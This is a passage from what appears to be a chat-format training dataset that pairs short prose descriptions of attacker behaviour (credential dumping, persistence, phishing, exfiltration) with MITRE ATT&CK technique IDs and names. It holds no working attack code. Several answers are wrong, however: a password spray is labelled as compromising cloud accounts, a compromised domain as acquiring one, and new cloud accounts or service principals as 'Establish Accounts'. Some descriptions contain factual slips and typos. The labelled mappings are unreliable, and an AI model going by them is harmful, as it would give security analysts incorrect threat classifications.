                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing domain admin rights, the intruder invoked a DCSync call to enumerate and extract credential information from the DC."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary drops a malicious LaunchAgent plist into ~/Library/LaunchAgents to achieve persistence on macOS."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique consists of leveraging low‑level Windows API functions to carry out operations like token stealing and privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary steals NTLM password hashes from the SAM database and reuses them to authenticate to remote services without cracking."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker utilizes perfmon.exe, a Control Panel utility, with the /s option to launch a malicious script that escalates privileges."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware reads the in‑memory credential database of the macOS securityd service to harvest user passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Analysis of the attack chain revealed regsvr32 was invoked with a remote .cpl file to bypass Windows Defender, leading to command execution."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performed a password spray attack against the organization’s cloud identities, eventually obtaining valid credentials."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a stored cross‑site scripting vulnerability to embed malicious JavaScript into user profile pages."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor sends phishing emails that contain malicious attachments which, when opened, display counterfeit security pop‑up messages indicating a critical update is required."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes creating an email forwarding rule that copies every new message to an attacker’s personal email."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromise an existing domain and repurpose it for malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware adds a new policy to the Rancher-managed cluster, granting its service account write access to all workloads."
            },
            {
                "role": "assistant",
                "content": "T1098.006 - Account Manipulation: Additional Container Cluster Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT1 writes its implant into the thread-local storage of explorer.exe and uses SetThreadContext to run it."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker spoofs a trusted vendor’s email and embeds a link to a malicious installer disguised as an update for the vendor’s software."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor injects a custom PAM stack entry to bypass two-factor authentication on Linux servers."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The code calls GetSystemInfo and evaluates the number of logical processors; if only one core is detected, it suspects a sandbox."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries rewrote the load balancer listener configuration to redirect traffic to a malicious server."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email prompts the user to click a link that runs a VBS script embedded in an HTML file."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team manipulates the authentication configuration in Azure AD Connect to downgrade MFA enforcement for targeted users."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged compromised Active Directory credentials to gain unauthorized access to corporate workstations."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker clones a publicly available exploit framework from a GitHub repository and customizes it for their campaign."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker hides malicious PowerShell scripts inside innocuous JPEG images that are later extracted and executed on the victim system."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker set up a malicious DNS server on a bullet‑proof host to serve as a stepping stone for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1583.002 - Acquire Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infiltrating actor leverages a PowerShell command to enumerate and export credential objects from the Windows Credential Store."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through cookie forgery, the attacker bypasses multi-factor authentication by presenting a fabricated session cookie to the server."
            },
            {
                "role": "assistant",
                "content": "T1606.001 - Forge Web Credentials: Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat replaces the existing com.apple.safaridavclient.plist with one that redirects network traffic to a command-and-control server."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor abuses a cloud provider's scheduled serverless tasks (e.g., CloudWatch Events) to run a payload that enumerates and extracts credentials."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries create keyword‑rich content that ranks highly in Google, directing traffic to a malicious payload delivery site."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An XSL script is embedded in a phishing email attachment; when the victim opens it, the XSL processing engine runs embedded code, compromising the system."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a signed malicious kernel extension that is whitelisted by Gatekeeper, allowing it to load without prompts."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employed the xp_cmdshell stored procedure to execute system-level commands for lateral movement across the network."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro embedded in an Excel spreadsheet was emailed to finance staff, executing a PowerShell command to download additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An employee's compromised account was used to edit the corporate news feed, inserting a politically charged defacement."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leveraged the Windows command line to initiate an FTP transfer, sending collected data to a malicious server."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - Application Layer Protocol: File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor accessed a network share via SMB and transferred sensitive emails to an attacker-controlled host."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerated public cloud assets belonging to the target by searching for misconfigured S3 buckets."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell one-liner invokes the .NET System.Drawing.Graphics class to take a screenshot and write it to a temp folder."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses credential stuffing on corporate webmail services to gain unauthorized access to employee email accounts."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary performed a permission groups discovery in the cloud by executing the 'az ad group list' command."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor manipulates the ELF binary's DT_NEEDED entries to reference a malicious shared library, resulting in dynamic linker hijacking."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is added to the MySQL server plugin directory to run arbitrary SQL commands."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group used social engineering to extract employee phone numbers from publicly posted conference speaker bios."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker employs a low-and-slow password spraying technique, distributing attempts across many accounts to stay under radar."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor crafted a convincing invoice email with an attached Excel spreadsheet that drops a credential‑stealing payload when macros are enabled."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group exploits a scheduled task that runs 'shutdown /l' to log out users and disrupt monitoring."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT groups add a service principal to GCP with Owner role to establish persistent access to cloud resources."
            },
            {
                "role": "assistant",
                "content": "T1585 - Establish Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leveraged SNMP GETBULK requests to retrieve configuration information from remote printers."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The code injects a thread that repeatedly raises a custom exception to confuse debugger heuristics."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor adds a rogue DLL to the system's AppCert path, triggering execution whenever the related executable is started."
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Network monitoring shows a domain that alternates between dozens of IPs, suggesting a fast-flux DNS tactic."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder rents a cloud storage bucket and stores encrypted exfiltrated files for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1583 - Acquire Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A remote access tool captures screenshots and logs cursor positions to reconstruct user workflows."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cybercriminal uses a hijacked Twitter account to direct‑message selected users with a URL that installs a remote access trojan."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary conducts a credential harvesting campaign via a fake Instagram \"login boost\" contest that collects usernames and passwords."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious LSASS driver is added to the system's autostart registry keys, ensuring it executes on each reboot."
            },
            {
                "role": "assistant",
                "content": "T1547.008 - Boot or Logon Autostart Execution: LSASS Driver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a malicious DLL using regasm.exe, which then runs the payload during the registration process, bypassing traditional execution controls."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware on the compromised host cleared all Security and Application event logs using PowerShell's Clear-EventLog cmdlet."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access, the hacker modifies the user’s email client settings to forward all incoming mail to a C2 address."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employed SSH tunneling to route malicious traffic through an otherwise trusted remote server, evading detection."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages WMI to read the System event log for driver installation timestamps."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages SCP to move credential dumping utilities from the attacker's infrastructure to the compromised Linux host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware modifies the Master File Table to prevent file access after encryption."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a payload that changes the OAuth token validation logic, allowing attackers to exchange tokens for any scope."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT33 uses a legitimate remote desktop protocol session to manually copy files to an external host."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set used a reverse shell over netcat, invoking /bin/bash to establish a persistent command channel."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised third‑party library adds malicious code to the site’s footer, which is then served to all visitors."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware modifies the Registry Run keys to persist and execute with elevated rights on startup."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The red team used regsvr32 with a signed legitimate DLL to hide their payload, exploiting the System Binary Proxy Execution technique."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit a firmware vulnerability to install a malicious bootloader that executes arbitrary code in the Pre‑OS environment on embedded devices."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The APT group altered the binary of a known utility, keeping its original filename and metadata, to hide their malicious payload under the guise of a trusted tool."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious updates were pushed through a compromised content delivery network, delivering ransomware to end users."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses ICMP echo requests that are structured to resemble standard ping traffic, but they carry hidden commands."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised application exploited a CVE in the host kernel to transition from user space inside a sandboxed process to full host privileges."
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a new AWS IAM user with elevated privileges to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated spyware uses asymmetric cryptography to protect its command channel, encrypting traffic with a public key that only the controller can decrypt."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
